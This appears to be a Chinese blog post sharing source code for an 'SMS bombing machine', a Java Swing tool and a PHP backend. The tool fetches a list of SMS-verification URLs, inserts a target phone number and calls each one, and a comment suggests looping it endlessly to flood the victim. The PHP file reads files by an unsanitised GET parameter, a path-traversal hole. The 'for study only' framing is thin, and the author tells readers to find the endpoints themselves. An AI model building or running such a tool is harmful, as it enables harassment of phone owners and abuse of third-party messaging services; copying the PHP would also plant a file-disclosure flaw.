我#,小伙子,小日子越来越可#了,仅供学习参考
当我们的好怨种兄弟无聊时,总会想方设法地搞事,很容易把自己造#
所以,为了怨种兄弟的安全着想
懂的都懂
效果图就不上了,不敢试效果
import java.awt.EventQueue;
import javax.net.ssl.HttpsURLConnection;
import javax.swing.JFrame;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Base64;
import javax.swing.JScrollPane;
import java.awt.BorderLayout;
import javax.swing.JPanel;
import javax.swing.JRootPane;
import java.awt.Button;
import java.awt.TextField;
import java.awt.Panel;
import java.awt.ScrollPane;
import javax.swing.JTextArea;
import java.awt.Rectangle;
import javax.swing.JSpinner;
import javax.swing.JTextPane;
import javax.swing.WindowConstants;
import javax.swing.Box;
import javax.swing.JButton;
import java.awt.TextArea;
import java.awt.Choice;
import java.awt.Container;
import java.awt.List;
import javax.swing.JList;
import javax.swing.JTextField;
import java.awt.Color;
import java.awt.event.ActionListener;
import java.awt.event.ActionEvent;
import java.awt.Component;
import javax.swing.DropMode;
import javax.swing.JInternalFrame;
import java.awt.Canvas;
import javax.swing.JFormattedTextField;
import java.awt.Dimension;
import javax.swing.JRadioButton;
import javax.swing.JComboBox;
import javax.swing.DefaultComboBoxModel;
import javax.swing.border.TitledBorder;
import javafx.scene.text.TextFlow;
import javax.swing.JEditorPane;
import javax.swing.JTree;
import javax.swing.JLabel;
import javax.swing.JLayeredPane;
import javax.swing.BoxLayout;
import java.awt.CardLayout;
import javax.swing.ScrollPaneConstants;
import java.awt.GridLayout;
import java.awt.Cursor;
public class SMS_bombing {
private JFrame frame;
private JTextField textField;
private JTextField textField_1;
public static void main(String args[]){
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
SMS_bombing window = new SMS_bombing();
window.frame.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
/**
* Create the application.
*/
public SMS_bombing() {
initialize();
}
/**
* Initialize the contents of the frame.
*/
private void initialize() {
frame = new JFrame();
frame.setTitle("\u6ED1\u7A3D\u77ED\u4FE1\u8F70\u70B8\u673A");
frame.setVisible(true);
// 窗口不可调整大小
frame.setResizable(false);
frame.setSize(550, 388);
frame.setLocation(300,150);
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setBounds(100, 100, 450, 300);
JPanel panel_1 = new JPanel();
frame.getContentPane().add(panel_1, BorderLayout.CENTER);
Box verticalBox = Box.createVerticalBox();
panel_1.add(verticalBox);
Box horizontalBox = Box.createHorizontalBox();
verticalBox.add(horizontalBox);
JTextPane textPane_1 = new JTextPane();
textPane_1.setText("\u7535\u8BDD\u53F7:");
horizontalBox.add(textPane_1);
textField = new JTextField();
textField.setColumns(10);
horizontalBox.add(textField);
JTextPane txtpnPosturl = new JTextPane();
txtpnPosturl.setText("\u8F93\u5165\u8F70\u70B8\u65B9\u5F0F POST/URL");
txtpnPosturl.setEditable(false);
horizontalBox.add(txtpnPosturl);
textField_1 = new JTextField();
textField_1.setColumns(10);
horizontalBox.add(textField_1);
TextArea textArea = new TextArea();
panel_1.add(textArea);
JPanel panel = new JPanel();
panel_1.add(panel);
Button button = new Button("\u5F00\u59CB\u8F70\u70B8");
button.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
huza();
}
});
panel.add(button);
}
public Rectangle getTextFieldBounds() {
return textField.getBounds();
}
public void setTextFieldBounds(Rectangle bounds) {
textField.setBounds(bounds);
}
public void huza() {
// 确定服务器链接
String link = "http://10.220.173.126:8005/application/index.php?op=1&Submission=GET&mtxt=HonZa.txt";
//这里可以获取加个编辑框获取手机号
int responsecode = 0;
HttpURLConnection urlConnection;
HttpsURLConnection urlConnection1;
BufferedReader reader;
URL url;
int runTimes = 1;
for (int runtime = 0; runtime < runTimes; runtime++) {
try{
url=new URL(link);
//打开URL
urlConnection = (HttpURLConnection)url.openConnection();
//获取服务器响应代码
responsecode=urlConnection.getResponseCode();
String line;
if(responsecode==200){
//得到输入流,即获得了网页的内容
reader=new BufferedReader(new InputStreamReader(urlConnection.getInputStream(),"utf-8"));
System.out.println("服务器连接成功!");
// 新建一个容器,容器的长度会随内容的增加而增加,不用担心数组越界的问题
ArrayList al = new ArrayList();
while((line=reader.readLine())!=null){
al.add(line);
}
reader.close();
// 关闭流
String[] str = new String[al.size()];
for (int i = 0; i < str.length; i++) {
str[i] = String.valueOf(al.get(i));
}
StringBuffer sb = new StringBuffer();
for (int i1 = 0;i1<str.length;i1++){
try {
//6.打印输出解码后的字符串
String hzurl=str[i1].replace("[手机号码]", "1234567");
if (str[i1].contains("http://")){
BufferedReader reader1;
try {
url=new URL(hzurl);
//打开URL
urlConnection = (HttpURLConnection)url.openConnection();
//获取服务器响应代码
responsecode=urlConnection.getResponseCode();
String line1;
if(responsecode==200){
//得到输入流,即获得了网页的内容
reader1=new BufferedReader(new InputStreamReader(urlConnection.getInputStream(),"utf-8"));
System.out.println("url连接成功!\n");
// 新建一个容器,容器的长度会随内容的增加而增加,不用担心数组越界的问题
ArrayList al1 = new ArrayList();
while((line1=reader1.readLine())!=null){
System.out.print(hzurl+"\n接口访问完毕,返回状态码:"+responsecode+"\n");
}
reader1.close();
}
}catch(Exception e){
System.out.println("http访问手机号,出现异常:"+e);
}
}else if(str[i1].contains("https://")){
BufferedReader reader1;
try {
url=new URL(hzurl);
//生成一个URL对象,要获取源代码的网页地址为:http://www.sina.com.cn
//生成一个URL对象,要获取源代码的网页地址为:http://www.sina.com.cn
//打开URL
urlConnection1 = (HttpsURLConnection)url.openConnection();
//获取服务器响应代码
responsecode=urlConnection1.getResponseCode();
String line1;
if(responsecode==200){
//得到输入流,即获得了网页的内容
reader1=new BufferedReader(new InputStreamReader(urlConnection1.getInputStream(),"utf-8"));
System.out.println("url连接成功!\n");
// 新建一个容器,容器的长度会随内容的增加而增加,不用担心数组越界的问题
ArrayList al1 = new ArrayList();
while((line1=reader1.readLine())!=null){
System.out.print(hzurl+"\n接口访问完毕,返回状态码:"+responsecode+"\n");
}
reader1.close();
}
}catch(Exception e){
System.out.println("https访问手机号,出现异常:"+e);
}
}
}catch(Exception e){
System.out.println("设置手机号,出现异常:"+e);
}
//重新开始 runTimes++ 达成死循环;
}
}
}catch(Exception e){
System.out.println("获取不到网页的源码,出现异常:"+e);
}
}
}
php段index.php
<?php
header("Content-Type:text/html;charset=utf-8");
if($_GET["op"]=="1"){
if($_GET["Submission"]=="GET"){
$kmlj = "./hongzha/HuaJi/".$_GET["mtxt"];
$string = file_get_contents($kmlj);
echo $string;
}else{
}
}
?>
啥?后台接口?接口不给。自己抓接口。